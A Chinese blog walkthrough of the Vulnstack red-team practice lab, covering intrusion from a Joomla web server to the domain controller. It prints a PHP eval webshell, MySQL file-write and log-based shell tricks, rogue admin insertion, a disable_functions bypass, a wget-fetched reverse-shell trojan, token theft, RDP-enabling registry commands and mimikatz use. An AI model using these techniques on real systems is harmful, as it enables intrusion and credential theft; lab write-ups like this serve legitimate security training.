Vulnstack 红队评估(三)

主页,完结,pentest 2020-07-23

0x00 : 简介

Vulnstack红队评估(三)

目标:域控中存在一份重要文件。

靶场资源


0x01 : 环境

  • 主机信息

WEB ~ Centos双网卡

外网:192.168.153.136, 我用的NAT与本机相连, 具体IP自己确定
内网:192.168.93.100

WEB1 ~ Ubuntu

内网:192.168.93.120

PC ~ Win7

内网:192.168.93.30

PC1 ~ Win2008

内网:192.168.93.20

DC ~ Win2012

内网:192.168.93.10

0x02 : 外网

  • 外网信息收集
利用nmap扫描WEB开放端口及服务
nmap -F 192.168.153.136

信息收集(1).png

发现开了22和3306端口, 弱口令扫描走一波, 拿到数据库账号密码 root:123

信息收集(2).png

利用dirsearch扫目录
http://192.168.153.136/1.php  #phpinfo()
物理路径 : /var/www/html
http://192.168.153.136/configuration~ #配置文件
数据库账号密码 testuser:cvcvgjASD!@
数据库 joomla
http://192.168.153.136/administrator  #后台

  • 外网打点

连接数据库

mysql -uroot -p123 -h 192.168.153.136

这里想着能不能用mysql写文件(因为此处已经拿到网站的物理路径)

创建表写文件:
1、创建一个表
CREATE TABLE a (cmd text NOT NULL);
2、插入数据
INSERT INTO a (cmd) VALUES('<?php eval($_POST['yuf1sher']);?>');
3、导出一句话
SELECT cmd from a into outfile '/var/www/html/3.php';
4、删除表
DROP TABLE IF EXISTS a;
------------------------------------------------------------------
日志文件写shell
1、查看配置
show variables like '%general%';
2、开启general log模式
set global general_log = on;
3、设置日志目录webshell地址
set global general_log_file = '/var/www/html/3.php';
4、写入shell
select '<?php eval($_POST['yuf1sher']);?>';
------------------------------------------------------------------
慢查询日志写shell
show variables like '%slow_query_log%';
set global slow_query_log=1;
set global slow_query_log_file='/var/www/html/3.php';
select '<?php eval($_POST['yuf1sher']);?>' or sleep(11);

说干就干, 先查一下有无读写文件的权限

外网打点-1.png

啊这..竟然没权限, 怎么还没开始就结束了

看一下能不能用日志写文件绕过

日志写shell-1.png

这.. 目录不给写文件, 那没事了

那我们翻一下数据库看能不能找到管理员账号密码进后台

mysql> show tables;
+-------------------------------+
| Tables_in_joomla              |
+-------------------------------+
| am2zu_action_log_config       |
| am2zu_action_logs             |
| am2zu_action_logs_extensions  |
| am2zu_action_logs_users       |
| am2zu_assets                  |
| am2zu_associations            |
| am2zu_banner_clients          |
| am2zu_banner_tracks           |
| am2zu_banners                 |
| am2zu_categories              |
| am2zu_contact_details         |
| am2zu_content                 |
| am2zu_content_frontpage       |
| am2zu_content_rating          |
| am2zu_content_types           |
| am2zu_contentitem_tag_map     |
| am2zu_core_log_searches       |
| am2zu_extensions              |
| am2zu_fields                  |
| am2zu_fields_categories       |
| am2zu_fields_groups           |
| am2zu_fields_values           |
| am2zu_finder_filters          |
| am2zu_finder_links            |
| am2zu_finder_links_terms0     |
| am2zu_finder_links_terms1     |
| am2zu_finder_links_terms2     |
| am2zu_finder_links_terms3     |
| am2zu_finder_links_terms4     |
| am2zu_finder_links_terms5     |
| am2zu_finder_links_terms6     |
| am2zu_finder_links_terms7     |
| am2zu_finder_links_terms8     |
| am2zu_finder_links_terms9     |
| am2zu_finder_links_termsa     |
| am2zu_finder_links_termsb     |
| am2zu_finder_links_termsc     |
| am2zu_finder_links_termsd     |
| am2zu_finder_links_termse     |
| am2zu_finder_links_termsf     |
| am2zu_finder_taxonomy         |
| am2zu_finder_taxonomy_map     |
| am2zu_finder_terms            |
| am2zu_finder_terms_common     |
| am2zu_finder_tokens           |
| am2zu_finder_tokens_aggregate |
| am2zu_finder_types            |
| am2zu_languages               |
| am2zu_menu                    |
| am2zu_menu_types              |
| am2zu_messages                |
| am2zu_messages_cfg            |
| am2zu_modules                 |
| am2zu_modules_menu            |
| am2zu_newsfeeds               |
| am2zu_overrider               |
| am2zu_postinstall_messages    |
| am2zu_privacy_consents        |
| am2zu_privacy_requests        |
| am2zu_redirect_links          |
| am2zu_schemas                 |
| am2zu_session                 |
| am2zu_tags                    |
| am2zu_template_styles         |
| am2zu_ucm_base                |
| am2zu_ucm_content             |
| am2zu_ucm_history             |
| am2zu_update_sites            |
| am2zu_update_sites_extensions |
| am2zu_updates                 |
| am2zu_user_keys               |
| am2zu_user_notes              |
| am2zu_user_profiles           |
| am2zu_user_usergroup_map      |
| am2zu_usergroups              |
| am2zu_users                   |
| am2zu_utf8_conversion         |
| am2zu_viewlevels              |
| test                          |
| umnbt_action_log_config       |
| umnbt_action_logs             |
| umnbt_action_logs_extensions  |
| umnbt_action_logs_users       |
| umnbt_assets                  |
| umnbt_associations            |
| umnbt_banner_clients          |
| umnbt_banner_tracks           |
| umnbt_banners                 |
| umnbt_categories              |
| umnbt_contact_details         |
| umnbt_content                 |
| umnbt_content_frontpage       |
| umnbt_content_rating          |
| umnbt_content_types           |
| umnbt_contentitem_tag_map     |
| umnbt_core_log_searches       |
| umnbt_extensions              |
| umnbt_fields                  |
| umnbt_fields_categories       |
| umnbt_fields_groups           |
| umnbt_fields_values           |
| umnbt_finder_filters          |
| umnbt_finder_links            |
| umnbt_finder_links_terms0     |
| umnbt_finder_links_terms1     |
| umnbt_finder_links_terms2     |
| umnbt_finder_links_terms3     |
| umnbt_finder_links_terms4     |
| umnbt_finder_links_terms5     |
| umnbt_finder_links_terms6     |
| umnbt_finder_links_terms7     |
| umnbt_finder_links_terms8     |
| umnbt_finder_links_terms9     |
| umnbt_finder_links_termsa     |
| umnbt_finder_links_termsb     |
| umnbt_finder_links_termsc     |
| umnbt_finder_links_termsd     |
| umnbt_finder_links_termse     |
| umnbt_finder_links_termsf     |
| umnbt_finder_taxonomy         |
| umnbt_finder_taxonomy_map     |
| umnbt_finder_terms            |
| umnbt_finder_terms_common     |
| umnbt_finder_tokens           |
| umnbt_finder_tokens_aggregate |
| umnbt_finder_types            |
| umnbt_languages               |
| umnbt_menu                    |
| umnbt_menu_types              |
| umnbt_messages                |
| umnbt_messages_cfg            |
| umnbt_modules                 |
| umnbt_modules_menu            |
| umnbt_newsfeeds               |
| umnbt_overrider               |
| umnbt_postinstall_messages    |
| umnbt_privacy_consents        |
| umnbt_privacy_requests        |
| umnbt_redirect_links          |
| umnbt_schemas                 |
| umnbt_session                 |
| umnbt_tags                    |
| umnbt_template_styles         |
| umnbt_ucm_base                |
| umnbt_ucm_content             |
| umnbt_ucm_history             |
| umnbt_update_sites            |
| umnbt_update_sites_extensions |
| umnbt_updates                 |
| umnbt_user_keys               |
| umnbt_user_notes              |
| umnbt_user_profiles           |
| umnbt_user_usergroup_map      |
| umnbt_usergroups              |
| umnbt_users                   |
| umnbt_utf8_conversion         |
| umnbt_viewlevels              |
+-------------------------------+

configuration.php~看到表的前缀是am2zu_以及密码的secretgXN9Wbpk7ef3A4Ys, 我们看一下表am2zu_users, 拿到账号和加盐的密码,

administrator:$2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2

尝试解密

外网打点-2.png

那没事了, 这里又想了想(看了眼别人的writeup), 既然都拿到数据库里, 不如自己加个账号密码进去

如何恢复或重置管理员密码? - 来自Joomla! Documentation

mysql> INSERT INTO `am2zu_users`(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
Query OK, 1 row affected (0.57 sec)

mysql> INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
Query OK, 1 row affected (0.54 sec)

加入账号密码 admin2:secret

Extensions -> Templates -> Templates可以编辑模板文件, 直接在index.php中插入一句话, 拿到webshell


0x03 : 内网

  • 主机渗透

主机渗透-1.png

发现无法执行命令, 推测应该是开启了disable_functions

主机渗透-2.png

再次打开phpinfo界面看一下, 发现开启了sendmail

绕过可以使用 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

上传文件到网站路径下, 访问 http://192.168.153.136/bypass_disablefunc.php

执行命令 http://192.168.153.136/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so

主机渗透-3.png

现在可以执行命令了, 不过还是有点麻烦, 想着能不能提权, 而且这个webshell不出网, 没办法打sessionmsf

继续在服务器里翻文件, 在/tmp/mysql/test.txt发现了一组账号密码

adduser wwwuser
passwd wwwuser_123Aqx

想起信息收集的时候发现开放了22端口, 推测可能是ssh的账号密码, 尝试发现成功连接

传个脚本上去查一下linux可利用的提权漏洞https://github.com/mzet-/linux-exploit-suggester

主机渗透-7.png

发现可以用脏牛提权

主机渗透-8.png

主机渗透-9.png

msf生成一个木马, 然后本地起一个http服务

主机渗透-4.png

在服务器上wget木马, 反弹shellmsf

主机渗透-5.png

主机渗透-6.png


  • 拿域控

添加路由

拿域控-1.png

扫一下内网开放端口

拿域控-2.png

扫一下smb版本

拿域控-3.png

最后拿到的信息整合

[+] 192.168.93.10:22,445,3389,3306 - 192.168.93.10:445 - TCP OPEN
[+] 192.168.93.20:22,445,3389,3306 - 192.168.93.20:445 - TCP OPEN
[+] 192.168.93.30:22,445,3389,3306 - 192.168.93.30:445 - TCP OPEN
[+] 192.168.93.100:22,445,3389,3306 - 192.168.93.100:3306 - TCP OPEN
[+] 192.168.93.100:22,445,3389,3306 - 192.168.93.100:22 - TCP OPEN
[+] 192.168.93.120:22,445,3389,3306 - 192.168.93.120:3306 - TCP OPEN
[+] 192.168.93.120:22,445,3389,3306 - 192.168.93.120:22 - TCP OPEN

[+] 192.168.93.10:445     - Host is running Windows 2012 R2 Datacenter (build:9600) (name:WIN-8GA56TNV3MV) (domain:TEST) (signatures:required)
[+] 192.168.93.20:445     - Host is running Windows 2008 Datacenter SP2 (build:6003) (name:WIN2008) (domain:TEST) (signatures:optional)
[+] 192.168.93.30:445     - Host is running Windows 7 Professional SP1 (build:7601) (name:WIN7) (domain:TEST) (signatures:optional)

NPS挂个代理出来, 扫描内网弱口令, 具体操作参考我的上一篇文章Vulnstack 红队评估(二), 也可以使用自己常用的代理工具

拿域控-4.png

拿到192.168.93.20的凭证, 现在就可以直接梭哈, 调用msf的凭证攻击, 拿下192.168.93.20

拿域控-5.png

这里使用exploit/windows/smb/psexec_pshexploit/windows/smb/psexec都可以,不过当使用exploit/windows/smb/psexec接收不到session的时候可以试试前者, 当payload使用reverse_tcp接收不到session的时候可以使用bind_tcp

拿域控-6.png

拿域控-8.png

查当前权限, 抓一下hash, 发现无法抓到明文密码

拿域控-7.png

定位域控IP为192.168.93.10

接下来打域控有两种方法

  1. 利用盗取令牌的方式我们可以向域中添加管理员账号
  2. 开启192.168.93.20的远程桌面, 我们再上传mimikatz抓取明文密码

0x03 : 域控

  • 盗取令牌

拿域控-2-1.png

加载会话令牌模块, 列出所有会话令牌, 很明显可以发现TEST\administrator为域控管理员账号

拿域控-2-2.png

盗用administrator令牌

拿域控-2-4.png

向域管理员加账号

拿域控-2-5.png

建立远程IPC连接

拿域控-2-6.png

最后在域控管理员账号的Documents文件夹中找到flag.txt


  • 开启远程桌面
echo Windows Registry Editor Version 5.00>>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg 
echo "fDenyTSConnections"=dword:00000000>>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg 
echo "PortNumber"=dword:00000d3d>>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg 
echo "PortNumber"=dword:00000d3d>>3389.reg 
regedit /s 3389.reg 
del 3389.reg

开启3389端口, 需要等一会才能开启

拿域控-3-1.png

挂代理连接远程桌面, 上传mimikatz抓明文密码

拿域控-3-2.png

然后使用wmiexec拿到域控服务器shell或者通过远程IPC连接即可


到此本靶场结束


参考:

ATT&CK(红队实战)黑盒测试

ATT&CK-RedTeaming-实战入侵演练,横向渗透拿到Flag



本文由 saltyfishyu 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论